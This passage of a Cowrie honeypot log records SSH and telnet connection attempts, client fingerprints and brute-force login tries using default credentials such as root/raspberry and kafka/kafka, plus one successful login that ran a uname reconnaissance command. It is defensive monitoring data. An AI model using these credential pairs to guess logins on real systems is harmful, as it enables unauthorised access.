0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:28.046926Z","src_ip":"45.156.87.204","session":"b7e0f4a5d83f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"zookeeper","password":"zookeeper","message":"login attempt [zookeeper/zookeeper] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:28.298017Z","src_ip":"45.156.87.204","session":"b7e0f4a5d83f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:28.508515Z","src_ip":"45.156.87.204","session":"b7e0f4a5d83f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:28.511839Z","src_ip":"45.156.87.204","session":"b7e0f4a5d83f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.687302827835083,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:28.592785Z","src_ip":"152.42.224.71","session":"8efd854e4ff2","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:28.598312Z","src_ip":"45.156.87.204","session":"b7e0f4a5d83f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:28.602530Z","src_ip":"45.156.87.204","session":"b7e0f4a5d83f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.491068840026855,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:28.917447Z","src_ip":"152.42.224.71","session":"5eb3d0bdbe0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44516,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d4f15cb1e80","protocol":"telnet","message":"New connection: 152.42.224.71:44516 (10.17.0.5:23) [session: 2d4f15cb1e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:29.488840Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44532,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b26930e4449","protocol":"telnet","message":"New connection: 152.42.224.71:44532 (10.17.0.5:23) [session: 9b26930e4449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:30.775589Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53420,"dst_ip":"159.203.135.109","dst_port":22,"session":"c090cb653614","protocol":"ssh","message":"New connection: 45.156.87.204:53420 (159.203.135.109:22) [session: c090cb653614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:31.404802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:31.409535Z","src_ip":"45.156.87.204","session":"c090cb653614","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:31.491645Z","src_ip":"45.156.87.204","session":"c090cb653614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123","message":"login attempt [ubuntu/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:31.745670Z","src_ip":"45.156.87.204","session":"c090cb653614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:32.830692Z","src_ip":"45.156.87.204","session":"c090cb653614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.55321192741394,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:33.061271Z","src_ip":"152.42.224.71","session":"f9b70ac51e11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.692508935928345,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:33.512723Z","src_ip":"152.42.224.71","session":"b45a6a133e24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44548,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3acb75b88e8","protocol":"telnet","message":"New connection: 152.42.224.71:44548 (10.17.0.5:23) [session: b3acb75b88e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:33.665528Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":35500,"dst_ip":"10.17.0.5","dst_port":22,"session":"537c60d3e5de","protocol":"ssh","message":"New connection: 103.172.78.219:35500 (10.17.0.5:22) [session: 537c60d3e5de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:33.834699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:33.839004Z","src_ip":"103.172.78.219","session":"537c60d3e5de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:34.097687Z","src_ip":"103.172.78.219","session":"537c60d3e5de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44556,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0ed837ba06e","protocol":"telnet","message":"New connection: 152.42.224.71:44556 (10.17.0.5:23) [session: b0ed837ba06e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:34.562010Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qwer","message":"login attempt [root/123456qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:34.874420Z","src_ip":"103.172.78.219","session":"537c60d3e5de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45566,"dst_ip":"159.203.135.109","dst_port":22,"session":"4967e4994ae6","protocol":"ssh","message":"New connection: 45.156.87.204:45566 (159.203.135.109:22) [session: 4967e4994ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:35.220746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:35.225229Z","src_ip":"45.156.87.204","session":"4967e4994ae6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:35.308778Z","src_ip":"45.156.87.204","session":"4967e4994ae6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar123","message":"login attempt [sonar/sonar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:35.557216Z","src_ip":"45.156.87.204","session":"4967e4994ae6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:36.139048Z","src_ip":"103.172.78.219","session":"537c60d3e5de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:36.642394Z","src_ip":"45.156.87.204","session":"4967e4994ae6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":91.43397498130798,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:37.679033Z","src_ip":"152.42.224.71","session":"426010ac6431","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48388,"dst_ip":"10.17.0.5","dst_port":23,"session":"d98f81a86c68","protocol":"telnet","message":"New connection: 152.42.224.71:48388 (10.17.0.5:23) [session: d98f81a86c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:38.838076Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45590,"dst_ip":"159.203.135.109","dst_port":22,"session":"256ca0394231","protocol":"ssh","message":"New connection: 45.156.87.204:45590 (159.203.135.109:22) [session: 256ca0394231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:38.862503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:38.867043Z","src_ip":"45.156.87.204","session":"256ca0394231","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:38.951364Z","src_ip":"45.156.87.204","session":"256ca0394231","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspberry","message":"login attempt [root/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:39.197504Z","src_ip":"45.156.87.204","session":"256ca0394231","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.60218358039856,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:40.093921Z","src_ip":"152.42.224.71","session":"8d6668c6b665","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:40.282210Z","src_ip":"45.156.87.204","session":"256ca0394231","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48394,"dst_ip":"10.17.0.5","dst_port":23,"session":"580ffee1313a","protocol":"telnet","message":"New connection: 152.42.224.71:48394 (10.17.0.5:23) [session: 580ffee1313a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:41.600959Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54982,"dst_ip":"159.203.135.109","dst_port":22,"session":"038920187acd","protocol":"ssh","message":"New connection: 45.156.87.204:54982 (159.203.135.109:22) [session: 038920187acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:42.573434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:42.578445Z","src_ip":"45.156.87.204","session":"038920187acd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48396,"dst_ip":"10.17.0.5","dst_port":23,"session":"784dda3c560c","protocol":"telnet","message":"New connection: 152.42.224.71:48396 (10.17.0.5:23) [session: 784dda3c560c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:42.596187Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:42.661346Z","src_ip":"45.156.87.204","session":"038920187acd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esadmin","password":"esadmin","message":"login attempt [esadmin/esadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:43.030431Z","src_ip":"45.156.87.204","session":"038920187acd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:44.115833Z","src_ip":"45.156.87.204","session":"038920187acd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":79.93758463859558,"message":"Connection lost after 79 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:45.086861Z","src_ip":"152.42.224.71","session":"e1ba892254e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54990,"dst_ip":"159.203.135.109","dst_port":22,"session":"05ddab94d7d5","protocol":"ssh","message":"New connection: 45.156.87.204:54990 (159.203.135.109:22) [session: 05ddab94d7d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:46.204532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:46.211071Z","src_ip":"45.156.87.204","session":"05ddab94d7d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:46.294445Z","src_ip":"45.156.87.204","session":"05ddab94d7d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:46.541343Z","src_ip":"45.156.87.204","session":"05ddab94d7d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:47.627444Z","src_ip":"45.156.87.204","session":"05ddab94d7d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54994,"dst_ip":"159.203.135.109","dst_port":22,"session":"c89d4f93d518","protocol":"ssh","message":"New connection: 45.156.87.204:54994 (159.203.135.109:22) [session: c89d4f93d518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:49.900418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:49.918792Z","src_ip":"45.156.87.204","session":"c89d4f93d518","protocol":"ssh"}
